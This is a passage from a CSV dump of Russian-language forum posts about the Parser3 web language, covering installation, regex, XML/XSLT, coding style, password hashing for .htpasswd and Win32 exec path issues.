очевидно что в данных реальных условиях \"тормозом\" является дополнительный метод поиска пути. я почти уверен (сам не тестировал) что парсер в случае ^use[] этот поиск осуществляет быстрее.\
\
[quote]А rusage интересен только при загрузке больших файлов.[/quote]\
\
постойте. а какая разница? в принципе должно быть загружено примерно одинаковое количество байтиков (если один большой файл разбить на N). т.е. так мы по крайней мере сможем узнать честное время считывания данных (какого количество спичек - 1 штука или 20 коробок), чтобы понять стоит ли вообще заморачиваться с оптимизацией этого места. об этом вы можете прочитать в любой книжке по оптимизации программ (Рефакторинг, Совершенный код...)\
\
P.S. \"Люди придают своим привычкам в сто раз больше важности, чем даже своим выгодам.\" Ф. Ницше"
"55299","Даже при <IfModule !parser3_module> по запросу 127.0.*.* получаю:\
[code]Not Found\
The requested URL /cgi-bin/parser3/parser3.cgi/index.html[/code]\
У меня Parser модулем стоит, у сервера — CGI (net.ru)."
"55300","> по моему это ни на что не влияет.\
- ранее: \"чтобы побочные действия не вносили ошибок\" Но полноте, давате не будем ловить друг друга на оговорках:)\
\
> \"большой\" - это сколько это реальная задача?\
- ~14000 х 10файлов. Опять же, есть системный файловый кэш. Не важо, будет обращение к диску или нет (а скорее всего, будет, но пренебрежимо мало по времени и сильно зависимо от неконтролируемых факторов - отсюда, видимо, и недостоверность rusage), важно, за какое время система отдаст парсеру содержимое файла. Потмоу я считаю, что задача реальная.\
\
+ еще насчет нужности оптимизации этого фрагмента: на виртуальных хостингах множество подключаемых файлов приводит к 500 ошибке, а большая загрузка процессора - всего лишь к замедлению ответа. Это не только у парсера - просто хостинговые приложения по разграничению ресурсов так настроены: процесс можно легко притормозить, а обработка обращений к диску в этом случае себя не оправдывает."
"55301","1. Сервер перезапускали?\
2. Покажите, пожалуйста, куски httpd.conf и весь .htaccess"
"55302","Парсер и сам по себе намного быстрее php. Мой проект на виртуальном хостинге держит 30к запросов в день, треть из них не кэшируется, проект нормально расширяемый и поддерживаемый. \
Просто ситуация похожа на предел возможностей. Гипотез достаточно (спасибо:), четких ответов не ожидается, предлагаю закрыть дискуссию."
"55303","В чем разница между ^use[] и @USE обьясните пожалуйста.\
Спасибо."
"55304","Дано : много файлов в деректории и поддеректориях , в них допустим есть обращение $temp , а нужно изменить на $temp_dir , ручками день работы , подскажите программу плиз"
"55305","P.S. и в довесок: http://www.parser.ru/forum/?id=54448"
"55307","хм... верно...\
подскажите тогда плиз выражение какие написать, чтобы вытягивалось 100 пудово имя файла, а не чушь...\
\
Форматы там такие:\
<img src=\"http://www.www.ru/1.gif\">\
<img width=108 src=\"http://www.www.ru/1.gif\">\
<img width=108 src='http://www.www.ru/1.gif'>\
<img src=http://www.www.ru/1.gif width=102>\
и т.д.\
т.е. в двойных, одинарных и вообще бек кавычек могут быть..."
"55308","http://chubrik.ru/hhtpd.zip\
\
Не знаю, какие именно куски, потому смотрите целиком.\
Всё это при запросе 127.0.*.* не работает.\
Локально у меня Apache Swissknife."
"55309","[code]^txt.match[[b]src=[\"']?(.+?)[\"'\\s>][/b]][gi]{^img.append{$match.1}}[/code]"
"55310","Извините - всё никак руки не доходят ((("
"55311","Проверю на домашнем компьютере, отпишусь сюда."
"55312","я подозревал, что оно именно так.. смирюсь..."
"55313","некоторые файлы имеют в своем имени пробелы (вернулись к тому, с чего начинали :)\
\
Допустим в txt он идет так\
\
...............\
http://www.www.ru/news/Holy%20Diver.jpg\
...............\
\
а в таблице $img его имя выгдядит так:\
http://www.www.ru/news/Holy"
"55314","^текст.match[(<img [^^>]*)src=\"([^^\"]+)\"([^^>]*>)][ig]{${match.1}src=\"^findpic[$match.2]\"${match.3}}\
А @findpic уже раскрашивает полученное"
"55315","Интересно Ваше мнение по поводу того, какой редактор наиболее удобен для парсера. Единственное, что смог найти - UE с подсветкой синтаксиса (кто то тут давал ссылку на wordfile.txt). Но  UE - ужасный тормоз, хочется чего то полегче..."
"55316","I/O warning : failed to load external entity \"file:///c%3A/apache_swissknife/%D1%E0%E9%F2%FB/b2b/html//xsl/cms_portfolio.xsl%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\"\
error\
xsltParseStylesheetFile : cannot parse c:/apache_swissknife/Сайты/b2b/html//xsl/cms_portfolio.xsl                                                                                                                                                                                                                                              \
\
c:/apache_swissknife/Сайты/b2b/html//classes/operators/xml.p(6:19)"
"55318","Он почемуто вставляет в путь Пробелы......\
очень много пробелов хотя.......\
Проверил , у меня была проблема  , у меня в PostgreSQL базе на поле с путем к файлу стоял тип bchar(255) и все свободные символы заменяються на пробелы..."
"55319","Мы тут с Маратом Супоницки постарались. Для себя. Но, кому интересно, качайте. Очень удобная вещь. Надо только привыкнуть. Очень интересно мнение Мишы и PAF'а.\
\
http://www.redqua.org/_public/8azion/standarts/coding.pdf"
"55321","значит приходется в каждую директорию вкладывать auto.p...?\
\
/department/1/\
/department/2/\
/department/3/\
etc.\
\
их ведь много!!"
"55322","[quote]Вы должны его полностью контро[b]лл[/b]ировать.[/quote]\
\
Ой ли?"
"55323","Есть кто из присутствующих, у кого сайты живут на русониксе, не VPS тарифах?\
 К сожалению, в администрировании и настройках я практически ничего не знаю и не получается поставить там парсер.\
\
 Залил все в cgi-bin, проставил права 755, положил на сервер файл _test.html - парсер работает.\
\
 Проблемы возникли, когда надо обращаться к базе (базу создал и заполнил, пользователя завел и т.д.). \
\
 Первая проблема - парсер не мог найти libparser3mysql.so\
 Вроде (???) решилась, когда в главное auto.p прописал mysql	/usr/lib/mysql/libparser3mysql.so	libmysqlclient.so\
\
 НО! теперь парсер в логах пишет:\
 [Wed Aug 30 09:17:57 2006] [4878] /: ./auto.p(112:18): 'WINDOWS-1251' unknown charset [parser.runtime]\
 \
 По этому адресе (строчки 112:18) находится: $request:charset[windows-1251]\
\
 В чем проблема - не могу понять.\
\
 Если кто-то настраивал парсер, поделитесь, плиз, настройками! Время уже поджимает. :("
"55324","однако предлагаемым стандартом лично я пользоваться не буду, т.к. считаю следующие требования/их отсутствие необоснованными и неудобными:\
\
- 2 пробела в каждой строке метода\
- пробелы вместо табов\
- символ подчеркивания в начале локальных переменных\
- отсутствие префикса типа у переменных\
- требования избыточных комментариев\
- ограничене на длину строки и символ перевода строки"
"55325","Если в /department/auto.p есть метод @test[] то вы его сможете вызвать из [b]любого подкаталога[/b] внутри /department/!"
"55327","Формируется файл, состоящий из SQL-запросов.\
\
[b]Можно ли из парсера заставить MySQL сделать импорт из этого файла (add.sql)?[/b]"
"55328","Два пробела -- это для того, чтобы удобно было при беглом просмотре кода. Вспомните другие языки:\
\
def bla-bla\
  code\
    code\
  code\
end\
\
В данном случае вместо def -- @method[], а вместо end -- $result. Это действительно удобно, нужно привыкнуть\
\
\
\
Пробелы вместо табов -- у разных людей табы выглядят по разному, это не очень приятно. Большинство редакторов позволяют по TAB ставить необходимо количество пробелов.\
\
\
Символ подчеркивания в локальных переменных -- объясните, почему?\
\
\
\
Отсутствие префикса типа. Я сделал постфикс. Префикс действительно лучше???\
\
\
\
Избыточные комментарии требуются внутри продуктов 8azion. Это для генерации документации API.\
\
\
\
Ограничение на длину строки -- для того, чтобы код не вылезал за рамки. В остальных языках принято как стандарт... Я решил воспользоваться чужим опытом. Перевод строки -- аналогично.\
\
\
В конце концов, это стандарты для 8azion. А для остальных -- лишь рекоммендации."
"55329","можно:\
- с помощью match разбить на отдельные запросы, сделать menu и выполнить их один за другим\
- вызвать внешний скрипт 'mysql' и передать ему параметры, чтобы тот взял и загрузил данные (лучший вариант)"
"55332","Я делаю так:\
^parts.menu{\
$sql[parts.piece]\
^if(def $sql){\
^void:sql{$v}\
}\
\
Для 1000 записей выполняется примерно 1,5 минуты.\
\
Хотелось бы побыстрее."
"55333","[quote]Два пробела -- это для того, чтобы удобно было при беглом просмотре кода[/quote]\
\
для начала я не знаю для чего нужен \"беглый просмотр кода\". искать методы? у меня есть их список перед глазами и Ctrl+F.\
\
это - способ форматирования, который обычно применяется при ином способе форматирования операторов подробности см. в книге \"Совершенный код\".\
в случае parser я считаю его применение не очень удобным, т.к.\
мы имеем дело с интерпретируемым языком, каждый символ которого попадает в результирующий код (и лишь затем удаляется). добавлять XYZ символов, тратя память и время (загрузка файлов) - роскошь, в то время как можно воспользоваться лишь немного иным способом форматирования (который кстати тоже достаточно распространен)\
\
\
[quot]Пробелы вместо табов -- у разных людей табы выглядят по разному, это не очень приятно.[/quot]\
\
меня не интересует как будет выглядеть код у людей, которые не могут настроить свой редактор чтобы им было удобно читать его. и лишь совсем простые редакторы не позволяют задать способ отображения табов.\
и опять-же это - увеличивает размер файлов, которые грузятся при каждом обращении и потом выкидываются.\
\
\
[quote]Символ подчеркивания в локальных переменных -- объясните, почему?[/quote]\
\
у меня в методе обычно 1-2 параметра, и пачка локальных переменных. наблюдаю сплошные $_xyz... это напрягает да и целесообразность не понятна.\
\
[quote]Отсутствие префикса типа. Я сделал постфикс. Префикс действительно лучше???[/quote]\
\
не знаю, не использовал.\
я с трудом представляю себе понятность кода при использовании _коротких_ суффиксов (вы это имели ввижу под \"постфиксом\"?), а длинные (как например ваш Hash) я использовать не хочу (см. выше про размер кода).\
у меня в настоящий момент так: tUser, hUser, sText, dtDate, bPublished, iCount, dCurrency и т.д. придумал не я. взял на вооружение у кого-то в студии. вначале было неудобно, сейчас очень нравится (соотв. можете видеть что в классах, которые я обновляю в примерах внедряется этот стиль именования). ну и очевидно, что никаких безтиповых temp используемых в одном методе для хранения разных типов данных. \
\
да, забыл... бывает ещё префикс 'u' - unknown, это когда например метод может принять и переварить разные типы данных.\
\
\
[quot]Избыточные комментарии требуются внутри продуктов 8azion.[/quot]\
\
_избыточные_ комментарии вредны. это хуже чем их отсутствие [(c) Любая книжка]. через некоторое время жизни кода они становятся не актуальными. их актуальность никто и никогда не поддерживает. нужно писать понятный код, а не \"комментировать всякий свой поступок\". естественно у меня нет больших возражений по поводу комментариев для классов/методов и тех мест где они действительно нужны. однако для интерпретируемого языка стоит стараться сокращать их количество.\
\
[quot]\
Ограничение на длину строки -- для того, чтобы код не вылезал за рамки. \
[/quot]\
\
мы имеем дело с языком у которого нет оператора print. для того чтобы не добавлять в результирующий код ненужные пробельные символы иногда мы вынуждены писать длинные строки (я стараюсь их не писать, тем не менее приходится). кроме того работая в разрешении 1280*1024 видеть лишь узкую колонку кода из 80 символов я не согласен (даже с учетом дополнительной панели функций у меня влазит 120 символов. почему я должен не использовать треть рабочего пространства?). а чтобы код не вылезал я умею использовать функцию Word Wrap моего редактора.\
\
\
[quote]В конце концов, это стандарты для 8azion. А для остальных -- лишь рекоммендации.[/quote]\
\
дык я и не говорил что всё это полное гавно, я сказал лишь что мне с этими стандартами не по пути :)"
"55335","[quote]у меня в настоящий момент так: tUser, hUser, sText, dtDate, bPublished, iCount, dCurrency[/quote]\
Действительно лучше, чем у меня. Надо подумать над этим.\
[quote]_избыточные_ комментарии вредны. это хуже чем их отсутствие[/quote]\
Похоже я неправильно вас понял. Вы про встроенную документацию или про последний совет?"
"55337","[quote]Похоже я неправильно вас понял. Вы про встроенную документацию или про последний совет?[/quote]\
\
последний совет по моему вообще не имеет права на существавание :)\
про встроеную документацию - сокращать. берем пример документации файла/класса и видим:\
@copyright, @license, @version, @since\
\
беру стандартный CVS-ный id:\
# $Id: dtf.p,v 1.22 2005/11/02 15:51:29 misha Exp $\
\
и возникает вопрос: на фига столько избыточных букв? или зачем  '##' вместо '#'?\
\
беру пример документации метода и сразу возникает желание выкинуть описание входящих параметров. название метода + названия input variables должны говорить сами за себя (+ описывать типы при наличии префиксов незачем)\
\
P.S. ваш пример:\
$newVarString[] # Вроде строка\
- некорректен. символ '#' используется для комментирования только в случае, если он первый в строке => незачем в стандарте писать что код не должен содержать ошибок :)"
"55340","[quote]про встроеную документацию - сокращать. берем пример документации файла/класса и видим:\
@copyright, @license, @version, @since\
\
беру стандартный CVS-ный id:\
# $Id: dtf.p,v 1.22 2005/11/02 15:51:29 misha Exp $[/quote]\
Теги @ -- для автоматической системы документирования.\
[quote]зачем '##' вместо '#'?[/quote]\
# -- обычный комментарий, ## -- комментарий для системы документирования.\
[quote]беру пример документации метода и сразу возникает желание выкинуть описание входящих параметров. название метода + названия input variables должны говорить сами за себя (+ описывать типы при наличии префиксов незачем)[/quote]\
Описываются типы специально для документирования автоматической системой.\
[quote]P.S. ваш пример:\
$newVarString[] # Вроде строка\
- некорректен. символ '#' используется для комментирования только в случае, если он первый в строке => незачем в стандарте писать что код не должен содержать ошибок :)[/quote]\
Прошу прощения, я не программист, а всего лишь проектировщик. И насчет таких нюансов, как комментарии знал не так много. Теперь знаю."
"55344","Я так понимаю, в @auto[] очень удобно прописывать переменные, используещиеся во всем классе."
"55345","Нашел в форуме [url=\"http://www.parser.ru/forum/?id=42252\"]подсветку для редактора Kate[/url], но она похоже не подходит к Kate 2.4 (FC4). Поделитесь, если у кого-нибудь есть?"
"55348","... использую следующий файлик:\
\
[code]<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<!DOCTYPE language SYSTEM \"language.dtd\"\
[\
	<!ENTITY name    \"[A-Za-z_:][\\w.:_-]*\">\
	<!ENTITY entref  \"&amp;(#[0-9]+|#[xX][0-9A-Fa-f]+|&name;);\">\
	<!ENTITY parsername  \"[\\w\\-\\_\\.]+\">\
]>\
\
<language name=\"Parser 3\" version=\"1.0\" \
	  kateversion=\"2.4\" section=\"Scripts\" \
	  extensions=\"*.p;*.html\" mimetype=\"\"  \
	  author=\"Oleg Volchkov (oleg@proc.ru)\" license=\"LGPL\" priority=\"1\"\
	  casesensitive=\"1\"\
	  >\
\
<highlighting>\
<list name=\"reservedWords\">\
	<item>^if </item>\
	<item>^switch</item>\
	<item>^case</item>\
	<item>^for</item>\
	<item>^while</item>\
	<item>^taint</item>\
	<item>^untaint</item>\
	<item>^try</item>\
	<item>^throw</item>\
	<item>^eval</item>\
	<item>^process</item>\
	<item>^cache</item>\
	<item>^use</item>\
	<item>^connect</item>\
	<item>^break</item>\
	<item>^continue</item>\
  </list>	\
  \
<contexts>\
	\
     <context name=\"Start\" attribute=\"Normal Text\" lineEndContext=\"#stay\">\
		<IncludeRules context=\"FindParser3\" />\
		<IncludeRules context=\"##SQL\" />\
		<IncludeRules context=\"##HTML\" />\
     </context>\
  \
     <context name=\"FindParser3\" attribute=\"Normal Text\" lineEndContext=\"#stay\" >\
	     <RegExpr attribute=\"Comments\" String=\"^#.*$\" context=\"#stay\"/>\
	     <StringDetect attribute=\"Comments\" String=\"^rem{\" context=\"rem\"/>\
	     \
	     <keyword attribute=\"Reserved\" String=\"reservedWords\" context=\"#stay\" /> \
	     \
	     <RegExpr attribute=\"Functions\" String=\"^@&parsername;(\\[[\\w\\-\\_\\;]*\\])?\" context=\"local\"/>\
	     <DetectChar attribute=\"Call\" char=\"^\" context=\"calls\"/>\
	     \
	     <RegExpr attribute=\"Var\" String=\"\\$\" context=\"vars\" />\
	     \
	     <AnyChar attribute=\"Brackets\" String=\"(){}[]\" context=\"#stay\"/>\
	     \
	     <Float attribute=\"Float\" context=\"#stay\"/>\
	     <HlCHex attribute=\"Hex\" context=\"#stay\"/>\
	     <Int attribute=\"Decimal\" context=\"#stay\"/>\
     </context>\
     \
     <context name=\"local\" attribute=\"Local Vars\" lineEndContext=\"#pop\">\
	     <RegExpr attribute=\"Local Vars\" String=\"\\[[\\w\\-\\_\\;]+\\]\" context=\"#pop\"/>\
     </context>\
     \
     <context name=\"calls\" attribute=\"Call\" lineEndContext=\"#pop\">\
	     <RegExpr attribute=\"Constructor Call\" String=\"&parsername;::&parsername;\" context=\"#pop\"/>\
	     <RegExpr attribute=\"Static Call\" String=\"&parsername;:&parsername;\"  context=\"#pop\"/>\
	     <RegExpr attribute=\"Call\" String=\"&parsername;\" context=\"#pop\"/>\
	     <AnyChar attribute=\"Call\" String=\";\" context=\"#pop\" />\
	     <RegExpr attribute=\"Call\" String=\"#[0-9a-fA-F]{2}\" context=\"#pop\" />\
     </context>\
\
     <context name=\"vars\" attribute=\"Var\" lineEndContext=\"#pop\">\
	     <RegExpr attribute=\"Static Var\" String=\"&parsername;:&parsername;\"  context=\"#pop\"/>\
	     <RegExpr attribute=\"Var\" String=\"&parsername;\" context=\"#pop\"/>\
     </context>\
     \
     <context name=\"rem\" attribute=\"Comments\" lineEndContext=\"#stay\">\
	     <DetectChar attribute=\"Comments\" char=\"}\" context=\"#pop\"/>\
     </context>\
\
\
</contexts>\
\
     <itemDatas>\
	  <itemData name=\"Normal Text\" defStyleNum=\"dsNormal\" />\
	  <itemData name=\"Reserved\" defStyleNum=\"dsKeyword\" />\
	  \
	  <itemData name=\"Functions\" defStyleNum=\"dsFunction\" />\
	  <itemData name=\"Local Vars\" defStyleNum=\"dsString\" />\
	  \
	  <itemData name=\"Call\" defStyleNum=\"dsFunction\" />\
	  <itemData name=\"Static Call\" defStyleNum=\"dsFunction\" />\
	  <itemData name=\"Constructor Call\" defStyleNum=\"dsFunction\" />\
	  \
	  <itemData name=\"Var\" defStyleNum=\"dsChar\" />\
	  <itemData name=\"Static Var\" defStyleNum=\"dsChar\" />\
	  \
	  <itemData name=\"Brackets\" defStyleNum=\"dsRegionMarker\" />\
\
	  <itemData name=\"Comments\" defStyleNum=\"dsComment\" />\
     \
	  <itemData name=\"Decimal\"      defStyleNum=\"dsDecVal\"/>\
	  <itemData name=\"Hex\"          defStyleNum=\"dsBaseN\"/>\
	  <itemData name=\"Float\"        defStyleNum=\"dsFloat\"/>\
\
  </itemDatas>\
    \
\
</highlighting>\
<general>\
  <keywords weakDeliminator=\"^\" casesensitive=\"true\" />\
  <comments>\
    <comment name=\"singleLine\" start=\"#\" />\
  </comments>\
</general>\
</language>\
\
\
[/code]\
\
Положить в /home/username/.kde/share/apps/katepart/syntax/parser.xml\
\
p.s. Хотя не понятно, кто мешает отапдейтить KDE на более новую версию и работать со свежим Кейтом."
"55350","Тоже вот сейчас ставлю парсер на Русоникс. Короче в архивах здесь есть файлы кодировки (третий сверху архив). Закачиваешь эти файлы (папки charset и lib и файл auto.p) в папку cgi-bin. В следующем архиве есть файл libparser3mysql.so,его копируешь в ту самую папку lib.\
К сожалению, в тот момент, когда в этой папке появляется этот файл, у меня выдает ошибку сервер, а не парсер (Internal error)."
"55351","Парсер версии 3.2.1 на русониксе не срабатывает. Только 3.1.6. Но вот MySQL не подключается. После установки файла libparser3mysql.so ругается сервер. Может у кого остался этот файл для версии 3.1.6 ?"
"55353","Просто пользовался автоматической конвертилкой из Mysql в Postgres"
"55354","Возможно ли поднять на х64 платформе?"
"55355","В общем, объявлять несколько классов в одном файле можно. \
@auto выполнится автоматически только в последнем из описанных классов, в остальных его надо вызывать явно.\
\
Логика, очевино - один @auto на файл, как и в случае файлов с операторами.\
\
Казалось бы, в этом случае одноименные методы классов тоже должны перезаписываться - но нет, тут всё нормально. Проверил заодно статические и динамические вызовы, наследование - без нареканий."
"55356","В БД большинство полей - числовые.\
Я собираю XML из нескольких таблиц и отдаю на XSLT.\
Как лучше поступить в таком случае?\
\
Варианты:\
1) В XML затолкать атрибуты в числовом виде (как в базе) и в человеческий текст преобразовывать их на этапе XSLT\
\
[code]<square id=\"12940\" dogovor=\"3\" type=\"2\" internet=\"2\" remont=\"4\">\
...\
</square>[/code]\
\
2) Преобразовать числа в текст ещё на этапе формирования первичного XML\
\
[code]<square id=\"12940\" dogovor=\"аренда\" type=\"офис\" internet=\"оптоволокно\" remont=\"евроремонт\">\
...\
</square>[/code]\
\
Только всё равно придётся потом ко всем этим атрибутам применять строковые функции (менять окончания и т.д.)...\
Что-то подсказывает что первый вариант предпочтительнее.\
\
И как лучше осуществлять такую трансформацию? Я только начинаю осваивать XSLT - про что мне нужно почитать?\
\
Наверное нужно что-то вроде ключей (xsl:key), но они опираются на исходный документ, а мне как-то надо разместить \"таблицу замен\" в самом шаблоне...\
Подскажите чего-нибудь, пожалуйста!\
Ткните в нужное место документации."
"55358","пишет ошибку при обращении к любой странице с парсерным кодом - parser.exe premature end of bla bla bla"
"55359","Пытаюсь разобраться с классом, не программист я - сочувствующий :)\
Помогите, кому не лень, не могу понять пару вопросов...\
\
1. Где, собственно, происходит назначение родительских прав, если постоянно рекурсивный вызов идет?\
[code]\
@getRightsToObject[object;thread;acl;is_owner][parent_rights;level_user_acl;level_group_acl;level_owner_acl;level_rights]\
^if($object){\
	^if($rights_hash.[$object.id]){\
		^rem{ *** если права есть в хеше - забираем их *** }\
		$result($rights_hash.[$object.id])\
	}{\
		^if($thread){\
			^if(^object.irf.int(0)){\
				^rem{ *** если у объекта irf не равен 0 - вычисляем права на родителя, вызывая себя рекурсивно *** }\
				^rem{ *** если locate не находит очередного родителя - значит достаем права данные на root *** }\
				$parent_rights(^getRightsToObject[^if(^thread.locate[id;$object.parent_id]){$thread.fields};$thread;$acl;$is_owner])\
			}\
[/code]\
\
2. Если я правильно понимаю, cмысл irf в ограничении прав, приходящих от родителей...\
Можно ли на каких-нить элементарных примерах показать, в каких случаях это нужно?\
\
... или пните в нужном направлении..."
"55360","т.е. сплошные циферки - не рулез. на этапе формирования xml-я его стоит привести в логичный вид (в БД обычно связанная информация, соотв. в xml её лучше выдать в струкртурированном виде).\
\
про формирование окончаний средствами xslt: считаю что так делать не стоит. более того считаю что в xslt вообще не должно быть никаких строк на каком-либо человеческом языке, в этом случае один и тот-же xslt может без изменений (ну... почти) обрабатывать xml на разных языках. автоматическое формирование окончаний в любом случае сделать сложно (для месяцев - уже непросто, а бывают ещё и разные исключения). мы подобные тексты в разных падежах выдаем в xml (отдельными структурами, как пример - названия месяцев, дней недели, байт/КБ/... и т.д.) и xsl лишь собирает строки в кучку.\
\
и ещё замечание: старайтесь хранить слова не в аттрибутах (...internet=\"оптоволокно\"...), а к тегах (<internet>оптоволокно</internet>) т.к. в один прекрасный момент вы захотите изменить слово на \"опто-<br/>волокно\"..."
"55368","Циферки - это конечно не рулез, но это обеспечивает универсальность моего XML. Как я захочу, так его и выведу (или я не прав?).\
У меня сейчас XML выступает как бы в роли хранилища данных - Вы, насколько я понял, предлагаете сделать его ближе к окончательному выводу?\
\
Поясню задачу. Возможно я вообще неправильно за неё взялся.\
\
1. Мне нужно осуществлять поиск помещений в БД (по заданным параметрам) и выводить это всё в HTML.\
1. Из нескольких таблиц БД я достаю информацию, которая представлена в виде циферок.\
2. Формирую из неё структурированный XML примерно такого смысла:\
\
[code]<станция_метро attr=\"её свойства\">\
	<здание attr=\"его свойства\">\
		<помещение attr=\"его свойства\"/>\
		<помещение attr=\"его свойства\"/>\
		<помещение attr=\"его свойства\"/>\
	</здание attr=\"его свойства\">\
</станция_метро>[/code]\
\
Свойства представлены циферками. \
\
3. Из этого XML я пытаюсь сформировать HTML, содержащий связный текст примерно такого вида:\
\
[quote][b]метро Авиамоторная[/b]\
Бизнес-центр класса В. 20 мин. пешком от метро, 1-я линия домов.\
Кабельная 5-я ул.\
\
Комната 20 кв.м., 3-й этаж. Интернет, охрана. Прямая аренда. Ставка аренды включает НДС и коммунальные платежи.  \
\
Блок 74 кв.м. (4 комнаты, с/у), 6-й этаж. Интернет, кондиционер, охрана. Прямая аренда. Ставка аренды офиса включает НДС.[/quote] \
\
Можно прям сразу в исходный XML засовывать описание помещения как слитный текст, но тогда его уже не выведешь в виде таблицы...\
А можно сделать XML с избыточностью - каждый параметр отдельно, плюс описание как слитный текст...\
\
Что-то я забрёл в тупик. Помогите выбраться, пожалуйста!"
"55372",">вызвать внешний скрипт 'mysql' и передать ему параметры, чтобы тот взял и загрузил данные (лучший вариант)\
\
Как это сделать?"
"55374","\"универсальность XML\" - отстой. XML должен быть не универсальным, а понятным. универсальным он должен быть лишь в том смысле что однотипные данные должны быть представлены похоже (но все равно читаемо) и от проекта к проекту одни и те-же данные не должны иметь разную структуру. \
\
ваши данные все равно будет выводиться с помощью XSLT, и работу по структурированию их вам в любом случае придется делать. по моему проще это сделать тому кто работает с БД, т.к. он знает что собой представляют данные лежащие в ней, чем тому кто лишь красиво _выводит_ эти данные (представьте что это делают разные люди). \
\
XML - это уже логически структурированные и выведенные данные, не воспринимайте его как нечто, что вас заставляют использовать как прослойку между БД и XSLT. тот кто выводит XML не должен думать о том, как эти данные будут выведены на страничку в конечном счете, если данные будут выведены в XML структурированно и правильно, то их несложно будет вывести с помощью XSLT по разному.\
\
кроме того по моему вы эту \"проблему\" уже обсуждали:\
http://www.parser.ru/forum/?id=54300"
"55376","Столкнулся с задачей, которую временно решил, но решение оставляет желать лучшего.\
\
Есть регистрация пользователей на сайте (класс авторизации). Пароли хранятся в ^math:md5[$form:passwd], для логина используется принцип сессий, на которых выдается случайный ключ ^math:crypt[$user.passwd;^$apr1^$].\
\
Есть одно но! До недавна не было необходимости делать \"широкий\" доступ к ресурсу и автоизация была реализована только средствами апача, там создается файл \".htpasswd\", где хранятся все пароли зашифрованные ^math:crypt[$user.passwd;^$apr1^$].\
\
Каюсь, хранил пароли в БД незашифрованные, в открытом виде. И при изменении пользователей или групп переписывал файлы \".htpasswd\" и \".htgroups\".\
\
Меня это вполне устраивало. Но когда я добавил авторизацию без Апача, я все пароли зашифровал (кроме тех, что описал выше) и проверяю их по другому принципу ^if(^math:md5[$form:passwd] eq ^math:md5[$user.passwd]). Хотелось бы зашифровать и первые записи, но тогда я не смогу их использовать для перезаписи \".htpasswd\".\
\
Что посоветуете?"
"55377","апач понимает такие \"пароли\", парсер - тоже (как с ними быть найдете в документации)\
\
а сессию в общем не надо бы связывать с паролем. выдавайте в качестве сессионного ключа uuid и все."
"55382","Где достать libparser3mysql.so для этой версии. Все скрипты парсера для RedHat 7.3 подходят, кроме этого файла. Как быть?"
"55383","[code]odbc://****\
\
CDBException: Data source name not found and no default driver specified[/code]\
\
DSN создан (другая программа его использует и не жалуется), строка  инициализации указана как:\
$SQL.connect-string[odbc://DSN=mydata^;UID=login^;PWD=pass]"
"55386","$SQL.connect-string[odbc://Driver={Microsoft Access Driver (*.mdb)}^;Dbq=диск:\\полный путь к базе формата Access.mdb]\
\
работает?\
\
DSN у вас пользовательский или системный? Если первое, имеет ли к нему доступ пользователь, с правами которого запускается вебсервер?"
"55387","пишу обычную строку\
\
[code]@main[]\
$test[^file::exec[${env:DOCUMENT_ROOT}/cgi-bin/convert.pl]]\
$test.stderr\
$test.status[/code]\
\
и получаю\
\
[code]Can't open perl script \"C:/Program\": No such file or directory 0[/code]\
\
все установлено на Win32, в обычной папке Program Files. Предполагаю, что Парсер ругается на пробел в пути (между Program и Files). При вызове скрипта convert.pl из браузера скрипт работает без проблем, т.е. Перл настроен как надо.\
Как лечить?"
"55388","Есть такая фигня - и даже закавычивание пути не поможет. При file:exec парсер всегда сам заворачивает команду в кавычки и от двойных кавычек лучше не будет.\
\
Paf сказал, что Win32 не используется и решаться эта проблема им не будет.\
\
Предлагаемые решения:\
1) переставить Perl в папку c:\\usr или любую другую без пробела в имени\
2) или скомпилировать ваш скрипт в EXE-шник утилитой типа TinyPerl, чтобы он не требовал ничего из c:\\program files"
"55389","переставить Перл, или Апач и Парсер? По идее, Парсер при вызове другого скрипта, просто передает запрос серверу, а тот уже сам с путями разбирается. Или Парсер сперва проверяет наличие запускаемого скрипта? Просто перл-скрипт пашет и из консоли, и в браузере, а через Парсер не хочет.\
Буду пробовать."
"55390","переставил Перл в корень диска C:\\, и получаю следующую ошибку\
\
[code]C:/Program Files/Apache Group/Apache2/htdocs/cgi-bin/convert.pl\
exec failed - Не удается найти указанный файл (2). Consider adding shbang line (#!x:\\interpreter\\command line)\
C:/Program Files/Apache Group/Apache2/htdocs/loader/index.html(32:24) \
--------------------------------------------------------------------------------\
exec C:/Program Files/Apache Group/Apache2/htdocs/loader/index.html(32:24) [/code]\
\
При вызове перл-скрипта из браузера все работает отлично. Чего теперь не хватает Парсеру?\
\
P.S. Переставил и Апач в корень диска - все пути без пробелов, и все равно не работает. Та же ошибка. Что теперь делать? Как быть юзерам Винды? Дискриминация по ОС? Никсовый Парсер куль, рабочий, а виндовый багнутый - юзайте как хотите? Так что ли?"
"55391","папка cgi-bin была не там где надо.\
\
Факт: в винде не юзать путей с пробелами."
"55392","есть код:\
[code]^if(def $form:media){\
	$media_tmp[$form:tables.media]\
	\
	$media_description_tmp[$form:tables.media_description]\
#строка номер 147 - это следующая строка	\
$media[^table::create{id	value\
^if($media_tmp){^media_tmp.menu{^media_tmp.line[]	$media_tmp.field}[\
]}{1	$form:media}}\
]\
$media_description[^table::create{id	value\
^if($media_description_tmp){^media_description_tmp.menu{^media_description_tmp.line[]	$media_description_tmp.field}[\
]}{1	$form:media_description}}\
]\
	^if($media){ \
			$media_description_hash[^media_description.hash[id]]  \
			^media.menu{  \
	    	$description[$media_description_hash.[$media.id].value] \
 		   	^pSQL.void{\
					INSERT INTO\
						media (\
							article_id,\
							lang_id,\
							description\
						)\
					VALUES (\
						$article_id,\
						^form:lang_id.int(0),\
						'^if($description){$description}'\
